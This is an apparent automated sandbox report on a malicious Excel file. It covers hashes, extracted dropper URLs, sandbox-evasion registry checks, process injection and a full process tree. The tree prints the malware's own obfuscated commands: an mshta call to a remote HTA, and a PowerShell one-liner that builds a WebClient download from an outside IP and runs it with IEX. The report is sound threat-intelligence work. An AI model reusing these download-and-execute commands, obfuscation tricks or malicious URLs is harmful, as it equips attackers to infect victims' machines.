4f48ef3036b8e2b724cbf9ec618f35baf7cb5e2017dc5fae4825659a28b58e68

General

Target
8912774c64eec4c04030bba5e50c4300.xls
Size 141KB
Sample220119-3bfgxaeaak
SHA256 4f48ef3036b8e2b724cbf9ec618f35baf7cb5e2017dc5fae4825659a28b58e68
MD5 8912774c64eec4c04030bba5e50c4300
SHA1 6c2d1312e639d22785adb3b9bdc2bb0e3e60aa47
SHA512 5d63d1005b3ff5f567700576cc32bb141784ded1051e77cca3a905026626701e5b2e8171f1c0352e503eedadc03100c4f275e3552df228499002e5bea9d696f1
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4056	1748	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
25	1876	mshta.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4012	1876	WerFault.exe	62

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1748	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1748 wrote to memory of 1608	1748	EXCEL.EXE	58
PID 1748 wrote to memory of 1608	1748	EXCEL.EXE	58
PID 1748 wrote to memory of 4056	1748	EXCEL.EXE	60
PID 1748 wrote to memory of 4056	1748	EXCEL.EXE	60
PID 4056 wrote to memory of 1876	4056	cmd.exe	62
PID 4056 wrote to memory of 1876	4056	cmd.exe	62

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8912774c64eec4c04030bba5e50c4300.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1748
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1608
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4056
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:1876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:3448
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1876 -s 1720
      4⤵
      Program crash
      PID:4012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3200

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 444 -p 1876 -ip 1876
1⤵
PID:2872

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1748-130-0x00007FFF62850000-0x00007FFF62860000-memory.dmp

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memory/1748-131-0x00007FFF62850000-0x00007FFF62860000-memory.dmp

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memory/1748-132-0x00007FFF62850000-0x00007FFF62860000-memory.dmp

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memory/1748-133-0x00007FFF62850000-0x00007FFF62860000-memory.dmp

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memory/1748-134-0x00007FFF62850000-0x00007FFF62860000-memory.dmp

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memory/1748-137-0x00007FFF5FEF0000-0x00007FFF5FF00000-memory.dmp

Download

memory/1748-138-0x00007FFF5FEF0000-0x00007FFF5FF00000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads